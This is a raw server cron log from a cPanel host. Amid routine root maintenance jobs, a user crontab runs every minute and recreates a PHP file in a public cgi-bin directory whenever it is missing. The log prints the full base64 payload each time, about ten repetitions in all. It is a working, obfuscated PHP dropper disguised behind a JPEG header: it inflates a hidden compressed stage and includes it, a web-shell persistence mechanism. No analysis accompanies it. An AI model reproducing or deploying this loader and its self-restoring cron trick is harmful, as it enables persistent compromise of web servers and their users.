Sep  8 19:40:01 server CROND[14997]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 19:40:01 server CROND[14996]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 19:40:01 server CROND[15000]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 19:40:01 server CROND[14998]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 19:41:01 server CROND[15920]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 19:41:01 server CROND[15921]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 19:41:01 server CROND[15922]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 19:42:01 server CROND[16306]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 19:42:01 server CROND[16308]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 19:42:01 server CROND[16307]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 19:42:01 server CROND[16309]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  8 19:43:01 server CROND[16685]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 19:43:01 server CROND[16686]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 19:43:01 server CROND[16687]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 19:44:01 server CROND[17073]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 19:44:01 server CROND[17074]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 19:44:01 server CROND[17075]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 19:45:01 server CROND[17491]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 19:45:01 server CROND[17494]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 19:45:01 server CROND[17496]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 19:45:01 server CROND[17495]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 19:45:01 server CROND[17498]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 19:45:01 server CROND[17493]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 19:45:01 server CROND[17497]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 19:46:01 server CROND[18429]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 19:46:01 server CROND[18431]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 19:46:01 server CROND[18430]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 19:47:01 server CROND[18813]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 19:47:01 server CROND[18814]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 19:47:01 server CROND[18816]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 19:48:01 server CROND[19199]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 19:48:01 server CROND[19200]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 19:48:01 server CROND[19201]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 19:49:01 server CROND[19584]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 19:49:01 server CROND[19585]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 19:49:01 server CROND[19586]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 19:50:01 server CROND[19977]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 19:50:01 server CROND[19985]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 19:50:01 server CROND[19991]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 19:50:01 server CROND[19992]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 19:50:01 server CROND[19994]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 19:50:01 server CROND[19990]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 19:50:01 server CROND[19989]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 19:50:01 server CROND[19993]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 19:50:01 server CROND[19999]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  8 19:51:01 server CROND[20819]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 19:51:01 server CROND[20821]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 19:51:01 server CROND[20820]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 19:52:01 server CROND[21306]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 19:52:01 server CROND[21307]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
